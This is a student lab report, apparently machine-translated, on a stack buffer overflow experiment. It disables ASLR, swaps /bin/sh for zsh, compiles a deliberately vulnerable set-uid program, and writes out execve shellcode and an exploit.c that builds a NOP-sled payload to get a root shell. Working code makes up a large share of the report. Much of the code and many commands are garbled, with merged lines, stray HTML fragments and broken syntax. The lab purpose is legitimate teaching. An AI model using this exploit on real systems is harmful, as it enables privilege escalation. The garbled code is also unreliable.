Buffer Overflow Vulnerability Experiment

Buffer Overflow Vulnerability Experiment

Chen Yuei 20125129

First, the experimental description

A buffer overflow is a scenario in which a program attempts to write to a buffer beyond the pre-allocated fixed-length data. This vulnerability could be exploited by malicious users to alter the flow control of a program, or even execute arbitrary fragments of code. This vulnerability occurs because of a temporary shutdown of the data buffer and the return address, which causes the return address to be rewritten.

II. Preparation of the experiment

System User name Shiyanlou, password Shiyanlou

The lab building provides 64-bit Ubuntu Linux, and in this experiment we need to operate in 32-bit environments to facilitate the observation of assembly statements, so we need to do some preparation before the experiment.

1. Enter a command to install something that compiles a 32-bit C program:

updatesudo apt-get install lib32z1 libc6-dev-i386sudo apt-get install lib32readline-gplv2-dev

2. Enter the command "linux32" into the 32-bit Linux environment. At this point you will find that the command line is not as good as the tab completion, so enter "/bin/bash" Using bash:

Iii. Experimental Step 3.1 initial Setup

In Ubuntu and some other Linux systems, the initial address of random heap (heap) and stack (stack) is randomized using address space, which makes it difficult to guess the exact memory address, and guessing the memory address is the key to the buffer overflow attack. So in this experiment, we use the following command to turn off this feature:

sudo sysctl -w kernel.randomize_va_space=0

In addition, in order to further protect against buffer overflow attacks and other attacks using shell programs, many shell programs automatically abandon their privileges when called. Therefore, even if you can trick a set-uid program into invoking a shell, you cannot maintain root privileges in the shell, which is implemented in/bin/bash.

In a Linux system,/bin/sh is actually a symbolic link to/bin/bash or/bin/dash. To reproduce the situation before this protective measure was implemented, we used another shell program (zsh) instead of/bin/bash. The following instructions describe how to set up the ZSH program:

sudo sucd /binrm shln -s zsh shexit

3.2 Shellcode

In general, a buffer overflow can cause a program to crash, and in the program, the overflow data overwrites the return address. And if the data that overwrites the return address is another address, then the program jumps to that address, and if the address is a piece of well-designed code to implement other functions, this code is shellcode.

Observe the following code:

#include <stdio.h>int main( ) {char *name[2];name[0] = ‘‘/bin/sh’’;name[1] = NULL;execve(name[0], name, NULL);}

The shellcode of this experiment is the compiled version of the code just now:

\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

3.3 Vulnerability Procedures

Save the following code as a "stack.c" file and save it to the/tmp directory. The code is as follows:

/* STACK.C *//* This program has a buffer overflow vulnerability. *//* Our task was to exploit this vulnerability */#Include <stdlib.h>#Include <stdio.h>#Include <string.h>IntBoF(Char *str) {Char buffer[12];/* The following statement has a buffer overflow problem */ strcpy (buffer, str); return 1;} int main  (int argc, char **argv) {char str[517]; FILE *badfile;badfile = fopen ( "R"); Fread (str, sizeof (char), 517, Badfile); BOF (str); Span class= "hljs-built_in" >printf ( "returned properly\n");  return 1;             

The code lets you know that the program reads a file named "Badfile" and loads the contents of the file into "buffer".

Compile the program, and set the Set-uid. The command is as follows:

sudo sugcc -m32 -g -z execstack -fno-stack-protector -o stack stack.cchmod u+s stackexit

The GCC compiler has a stack protection mechanism to prevent buffer overflows, so we need to use –fno-stack-protector to close this mechanism when compiling the code.

The-Z execstack is used to allow execution of the stack.

3.4 Attack Program

Our goal is to attack the vulnerability program just now and gain root access through the attack.

Save the following code as a "exploit.c" file and save it to the/tmp directory. The code is as follows:

/* EXPLOIT.C *//* A program this creates a file containing code for launching shell*/#Include <stdlib.h>#Include <stdio.h>#Include <string.h>Char shellcode[]="\x31\xc0"Xorl%eax,%eax"\x50"PUSHL%eax"\x68""//sh"PUSHL $0x68732f2f"\x68""/bin"PUSHL $0x6e69622f"\x89\xe3"MOVL%ESP,%EBX"\x50"PUSHL%eax"\x53"PUSHL%EBX"\x89\xe1"MOVL%ESP,%ECX"\x99"Cdq"\XB0\X0B"Movb $0x0b,%al"\xcd\x80"int $0x80;voidMain(int argc,Char **argv) {Char buffer[517]; FILE *badfile; /* Initialize buffer with 0x90 (NOP instruction) */memset ( &buffer, 0x90, 517); strcpy (Buffer," \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x?? \x?? \x?? \x?? "); strcpy (Buffer+100,shellcode);  "/badfile", 517, 1, Badfile); fclose (badfile);}  

Notice the above code, "\x??" \x?? \x?? \x?? " Need to add shellcode to the address stored in memory because the location can overwrite the return address just after an overflow occurs.

and strcpy (Buffer+100,shellcode); This sentence tells us again that Shellcode is stored in the buffer+100 position.

Now we're going to get shellcode in-memory address, enter the command:

stackdisass main

Results

The next steps:

According to the statement strcpy (Buffer+100,shellcode); We calculate the address of Shellcode as 0xffffd1b0 (hex) +100 (decimal) =0xffffd214 (hexadecimal)

Modify EXPLOIT.C file Now! Will \x?? \x?? \x?? \x?? Modify to \x14\xd2\xff\xff

Then, compile the EXPLOIT.C program:

gcc -m32 -o exploit exploit.c

3.5 Attack Results

Run the attack program exploit before running the vulnerability stack and observe the results:

Visible, through the attack, get the root permission!

If the attack succeeds and the "segment error" is indicated, re-use GDB disassembly to compute the memory address.

Iv. Exercise 1, follow the steps of the experiment, attack the vulnerability program and gain root privileges.

2, through the command "sudo sysctl-w kernel.randomize_va_space=2" to open the system's address space randomization mechanism, repeated use of exploit program to attack the stack program, to see if the attack succeeds, can gain root authority.

3, the/bin/sh to/bin/bash (or/bin/dash), to observe whether the attack succeeds, can gain root privileges.

Four experimental questions

1. When the experiment was entered into the VI.STACK.C copy code was copied out, causing the code to run incorrectly, and then re-enter the code to find the change after the re-success.

2. At the beginning of the experiment, I need to enter the password: experimental building, but thought it did not appear, and then tried several times entered the "experimental building" return after the results of the installation.

3. Do the experiment to save STACK.C and exploit.c to the/tmp directory, the results of the experiment has not been successful, check several times to find out where the error.

4. When debugging with GDB, finally want to quit debugging, and then through the students learned to use the QUIT command to quit.

Five experimental experiences

Through this experiment, I learned a part of the buffer overflow.

A buffer overflow is when the computer fills the buffer with data bits that exceed the buffer itself's capacity overflow data coverage on legitimate data, ideally the program to check the length of the data does not allow the input of characters beyond the length of the buffer, but most of the program will assume that the data length is always to match the allocated storage space, This is a buffer overflow buried hidden trouble. The buffers used by the operating system are also referred to as "stacks". The instructions are temporarily stored in the "stack" between the various operations, and a buffer overflow occurs on the stack. A buffer overflow causes a buffer overflow by writing content beyond its length to the program's buffer, which destroys the program's stack and enables the program to execute other instructions in order to achieve the purpose of the attack. A buffer overflow is a scenario in which a program attempts to write to a buffer beyond the pre-allocated fixed-length data. This vulnerability could be exploited by malicious users to alter the flow control of a program, or even execute arbitrary fragments of code. This vulnerability occurs because of a temporary shutdown of the data buffer and the return address, which causes the return address to be rewritten.

This experiment is the first to put the operating system's protection mechanism off the premise of the buffer Overflow vulnerability experiment, even if the following command to close this function:

sudo sysctl -w kernel.randomize_va_space=0

In addition, in order to further protect against buffer overflow attacks and other attacks using shell programs, many shell programs automatically abandon their privileges when called. Therefore, even if you can trick a set-uid program into invoking a shell, you cannot maintain root privileges in the shell, which is implemented in/bin/bash.

Buffer Overflow Vulnerability Experiment